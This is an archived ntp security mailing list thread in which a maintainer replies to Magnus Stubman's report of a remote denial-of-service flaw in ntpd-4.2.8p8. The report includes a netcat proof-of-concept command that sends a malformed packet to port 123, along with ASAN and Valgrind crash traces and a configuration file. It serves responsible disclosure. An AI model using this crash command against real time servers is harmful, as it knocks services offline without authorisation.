[ntp:security] High severity vulnerability in ntpd-4.2.8p8

Harlan Stenn stenn at nwtime.org
Tue Jun 28 08:36:26 UTC 2016


Magnus,

Juergen was able to take the analysis a step or two farther while I was
asleep, and I think I have a patch.  I will send it to you soon.

H

On 6/26/16 12:12 AM, Magnus Stubman wrote:
> Hi,
> 
> Affected product
> ============
> 
> ntpd-4.2.8p8
> 
> Description
> =========
> 
> It was found possible to cause complete loss of availability remotely by an 
> unauthenticated user by sending a single malformed packet to the ntpd daemon.
> 
> Proof of concept
> ============
> 
> The following command will send the malicious packet:
> 
> cat ntpd-4.2.8p8-crash.raw | nc -u -v 127.0.0.1 123
> 
> resulting in the vulnerable instance of the server to crash.
> ASAN report:
> 
> ——BEGIN——
> sudo ./../ntp-4.2.8p8/ntpd/ntpd -n -I lo -c ~/resources/ntp.conf
> 25 Jun 22:21:34 ntpd[30371]: ntpd 4.2.8p8 at 1.3265-o Sat Jun 25 20:08:05 UTC 2016 
> (3): Starting
> 25 Jun 22:21:34 ntpd[30371]: Command line: ./../ntp-4.2.8p8/ntpd/ntpd -n -I lo 
> -c /home/dude/resources/ntp.conf
> 25 Jun 22:21:34 ntpd[30371]: proto: precision = 0.264 usec (-22)
> 25 Jun 22:21:34 ntpd[30371]: switching logging to file /dev/null
> 25 Jun 22:21:34 ntpd[30371]: Listen and drop on 0 v6wildcard [::]:123
> 25 Jun 22:21:34 ntpd[30371]: Listen and drop on 1 v4wildcard 0.0.0.0:123
> 25 Jun 22:21:34 ntpd[30371]: Listen normally on 2 lo 127.0.0.1:123
> 25 Jun 22:21:34 ntpd[30371]: Listen normally on 3 lo [::1]:123
> 25 Jun 22:21:34 ntpd[30371]: Listening on routing socket on fd #20 for interface 
> updates
> ASAN:SIGSEGV
> =================================================================
> ==30371==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 
> 0x7fe0a845955f bp 0x000000000000 sp 0x7ffc7c29ac58 T0)
>      #0 0x7fe0a845955e (/lib/x86_64-linux-gnu/libc.so.6+0x8c55e)
>      #1 0x7fe0a84448a1 (/lib/x86_64-linux-gnu/libc.so.6+0x778a1)
>      #2 0x7fe0a8439486 (/lib/x86_64-linux-gnu/libc.so.6+0x6c486)
>      #3 0x45b285 (/home/dude/projects/ntpd/ntp-4.2.8p8/ntpd/ntpd+0x45b285)
>      #4 0x53e254 (/home/dude/projects/ntpd/ntp-4.2.8p8/ntpd/ntpd+0x53e254)
>      #5 0x5166b0 (/home/dude/projects/ntpd/ntp-4.2.8p8/ntpd/ntpd+0x5166b0)
>      #6 0x58163c (/home/dude/projects/ntpd/ntp-4.2.8p8/ntpd/ntpd+0x58163c)
>      #7 0x512ec1 (/home/dude/projects/ntpd/ntp-4.2.8p8/ntpd/ntpd+0x512ec1)
>      #8 0x511028 (/home/dude/projects/ntpd/ntp-4.2.8p8/ntpd/ntpd+0x511028)
>      #9 0x7fe0a83eeb44 (/lib/x86_64-linux-gnu/libc.so.6+0x21b44)
>      #10 0x4cf999 (/home/dude/projects/ntpd/ntp-4.2.8p8/ntpd/ntpd+0x4cf999)
> 
> AddressSanitizer can not provide additional info.
> SUMMARY: AddressSanitizer: SEGV ??:0 ??
> ==30371==ABORTING
> ——END——
> 
> Valgrind report:
> 
> ——BEGIN——
> $ sudo valgrind ./ntpd/ntpd -n  -c ~/resources/ntp.conf
> ==5389== Memcheck, a memory error detector
> ==5389== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al.
> ==5389== Using Valgrind-3.10.0 and LibVEX; rerun with -h for copyright info
> ==5389== Command: ./ntpd/ntpd -n -c /home/dude/resources/ntp.conf
> ==5389==
> 25 Jun 23:07:05 ntpd[5389]: ntpd 4.2.8p8 at 1.3265-o Sat Jun 25 20:50:30 UTC 2016 
> (1): Starting
> 25 Jun 23:07:05 ntpd[5389]: Command line: ./ntpd/ntpd -n -c 
> /home/dude/resources/ntp.conf
> 25 Jun 23:07:06 ntpd[5389]: proto: precision = 3.605 usec (-18)
> 25 Jun 23:07:06 ntpd[5389]: switching logging to file /dev/null
> 25 Jun 23:07:06 ntpd[5389]: Listen and drop on 0 v6wildcard [::]:123
> 25 Jun 23:07:06 ntpd[5389]: Listen and drop on 1 v4wildcard 0.0.0.0:123
> 25 Jun 23:07:06 ntpd[5389]: Listen normally on 2 lo 127.0.0.1:123
> 25 Jun 23:07:06 ntpd[5389]: Listen normally on 3 eth0 10.0.1.11:123
> 25 Jun 23:07:06 ntpd[5389]: Listen normally on 4 eth0:0 1.2.3.4:123
> 25 Jun 23:07:06 ntpd[5389]: Listen normally on 5 eth9:0 11.11.11.11:123
> 25 Jun 23:07:06 ntpd[5389]: Listen normally on 6 lo [::1]:123
> 25 Jun 23:07:06 ntpd[5389]: Listen normally on 7 eth0 
> [fe80::f2de:f1ff:fe85:75cf%2]:123
> 25 Jun 23:07:06 ntpd[5389]: Listen normally on 8 eth9 
> [fe80::a450:8eff:fecc:9c4%3]:123
> 25 Jun 23:07:06 ntpd[5389]: Listening on routing socket on fd #25 for interface 
> updates
> ==5389== Invalid read of size 1
> ==5389==    at 0x4C2C1A2: strlen (vg_replace_strmem.c:412)
> ==5389==    by 0x45704D: estrdup_impl (emalloc.c:128)
> ==5389==    by 0x41AF29: read_mru_list (ntp_control.c:4041)
> ==5389==    by 0x42BB09: receive (ntp_proto.c:659)
> ==5389==    by 0x4145CF: ntpdmain (ntpd.c:1329)
> ==5389==    by 0x405A58: main (ntpd.c:392)
> ==5389==  Address 0x0 is not stack'd, malloc'd or (recently) free'd
> ==5389==
> ==5389==
> ==5389== Process terminating with default action of signal 11 (SIGSEGV)
> ==5389==  Access not within mapped region at address 0x0
> ==5389==    at 0x4C2C1A2: strlen (vg_replace_strmem.c:412)
> ==5389==    by 0x45704D: estrdup_impl (emalloc.c:128)
> ==5389==    by 0x41AF29: read_mru_list (ntp_control.c:4041)
> ==5389==    by 0x42BB09: receive (ntp_proto.c:659)
> ==5389==    by 0x4145CF: ntpdmain (ntpd.c:1329)
> ==5389==    by 0x405A58: main (ntpd.c:392)
> ==5389==  If you believe this happened as a result of a stack
> ==5389==  overflow in your program's main thread (unlikely but
> ==5389==  possible), you can try to increase the size of the
> ==5389==  main thread stack using the --main-stacksize= flag.
> ==5389==  The main thread stack size used in this run was 204800.
> ==5389==
> ==5389== HEAP SUMMARY:
> ==5389==     in use at exit: 122,458 bytes in 2,707 blocks
> ==5389==   total heap usage: 2,875 allocs, 168 frees, 411,190 bytes allocated
> ==5389==
> ==5389== LEAK SUMMARY:
> ==5389==    definitely lost: 0 bytes in 0 blocks
> ==5389==    indirectly lost: 0 bytes in 0 blocks
> ==5389==      possibly lost: 2,000 bytes in 2 blocks
> ==5389==    still reachable: 120,458 bytes in 2,705 blocks
> ==5389==         suppressed: 0 bytes in 0 blocks
> ==5389== Rerun with --leak-check=full to see details of leaked memory
> ==5389==
> ==5389== For counts of detected and suppressed errors, rerun with: -v
> ==5389== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)
> ——END——
> 
> Configuration
> ==========
> 
> The issue was successfully reproduced both locally and across the network using 
> the following configuration file:
> 
> —BEGIN—
> # Use the local clock
> server 127.127.1.0 prefer
> fudge  127.127.1.0 stratum 10
> driftfile /var/lib/ntp/drift
> broadcastdelay 0.008
> 
> logfile /dev/null
> #logfile /tmp/ntp.log
> 
> # Give localhost full access rights
> #restrict 127.0.0.1
> 
> # Given local machine access to query
> #restrict 172.16.59.179 mask 255.255.255.255 nomodify notrap
> #restrict 10.0.1.24 mask 255.255.255.255 nomodify notrap
> restrict 127.0.0.1 mask 255.255.255.255 nomodify notrap
> —END—
> 
> CVSS
> =====
> 
> Using CVSS2 I am rating this issue as follows: AV:N/AC:L/AU:N/C:N/I:N/A/C giving 
> it a score of 7.8, which therefore rates this issue as of “high” severity.
> 
> Note
> ====
> 
> It was not found possible to reproduce this issue using the latest available 
> unstable version in the git repository located at github[1]. I am however unsure 
> if this is because the vulnerability already is known to the development team, 
> or if the vulnerability was fixed as an unintended side-effect of some other 
> changes. I believe that the latter is the case since there is no patch or newer 
> stable version available addressing this issue, therefore I am reporting this 
> issue to hopefully rush the release of a fix.
> 
> Recommendation
> =============
> 
> I recommend that either
> 
> 1. a patch is released as soon as possible addressing this issue, or
> 2. the unstable version in the git repo is released as soon as possible as a 
> stable version
> 
> 
> References
> =========
> 
> 1: https://github.com/ntp-project/ntp
> 
> 
> 
> 
> I hope that this report is of value to the team. Please let me know if you were 
> aware of this vulnerability beforehand, and if so, why you have delayed 
> releasing a patch or a stable version fixing it. The malicious packet is 
> attached to this e-mail.
> 
> If you have questions, then please just ask via e-mail.
> 
> Please acknowledge that you have received this e-mail.
> 
> Regards,
> Magnus Stubman
> @magnusstubman
> 
> 
> 
> 
> 
> _______________________________________________
> security mailing list
> security at lists.ntp.org
> http://lists.ntp.org/listinfo/security
> 

-- 
Harlan Stenn <stenn at nwtime.org>
http://networktimefoundation.org - be a member!



More information about the security mailing list